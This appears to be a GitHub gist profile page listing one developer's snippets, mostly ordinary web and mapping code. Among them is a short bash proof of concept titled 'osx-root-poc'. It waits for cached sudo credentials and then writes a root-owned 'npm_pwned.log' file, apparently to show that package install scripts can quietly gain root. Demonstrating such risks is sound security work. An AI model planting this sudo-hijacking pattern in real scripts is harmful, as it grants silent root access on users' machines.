Skip to content

Instantly share code, notes, and snippets.

View ungoldman's full-sized avatar
🤔
💭

Nate Goldman ungoldman

🤔
💭
View GitHub Profile
@ungoldman
ungoldman / identify_intersections.ipynb
Created November 30, 2020 23:04 — forked from kuanb/identify_intersections.ipynb
Inspired by this Twitter thread, this is a DIY version to generate similar maps: https://twitter.com/82_Streetcar/status/1333076980032532480
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@ungoldman
ungoldman / choo-store.js
Last active July 24, 2018 09:24
sketch of a simple wrapper for predictable, namespaced choo stores
/*
Now a real module used in production!
https://github.com/ungoldman/choo-store
*/
class Store {
constructor (opts) {
opts = opts || {}
@ungoldman
ungoldman / index.js
Created August 10, 2017 23:22
requirebin sketch
var html = require('choo/html')
var choo = require('choo')
var app = choo()
app.use(titleStore)
app.route('/', mainView)
app.mount('body')
function mainView (state, emit) {
return html`
@ungoldman
ungoldman / .block
Last active May 10, 2017 00:24
basic grid layout with pure CSS and no classes
license: mit
height: 100%
scrolling: yes
@ungoldman
ungoldman / index.html
Last active August 23, 2020 14:27
table grid example
<!DOCTYPE html>
<html lang="en" class="element">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>grid experiment</title>
<link rel="stylesheet" href="https://elementcss.neocities.org/dist/element-0.0.1.min.css">
<style>
table { width: 100%; table-layout: fixed; }
@ungoldman
ungoldman / computer-ethics.md
Last active September 14, 2023 09:18
Resources on Computer Ethics
@ungoldman
ungoldman / authfsd
Last active September 4, 2017 20:04
osx-root-poc source
#!/bin/bash
while :; do sudo -n ls &>/dev/null && break || sleep 1; done
echo "Hello from `sudo whoami`" > "$HOME/npm_pwned.log"
sudo chown root "$HOME/npm_pwned.log"
sudo chmod 400 "$HOME/npm_pwned.log"
@ungoldman
ungoldman / index.js
Last active March 25, 2016 00:31
requirebin sketch
var bel = require('bel')
var html = '<div>hi</div>'
var body = bel`<div>${html}</div>`
document.body.appendChild(body)
try {
document.body.appendChild(bel`${html}`)
} catch (e) {
document.body.appendChild(bel`<div>${e.message}</div>`)
@ungoldman
ungoldman / example.html
Created November 8, 2015 02:10
positioning text over an image
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Bikelandia</title>
<style>
html, body {
margin: 0;
padding: 0;
}
@ungoldman
ungoldman / groenlandcote.geojson
Last active October 15, 2015 22:20
sample geojson for testing koop-gist
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.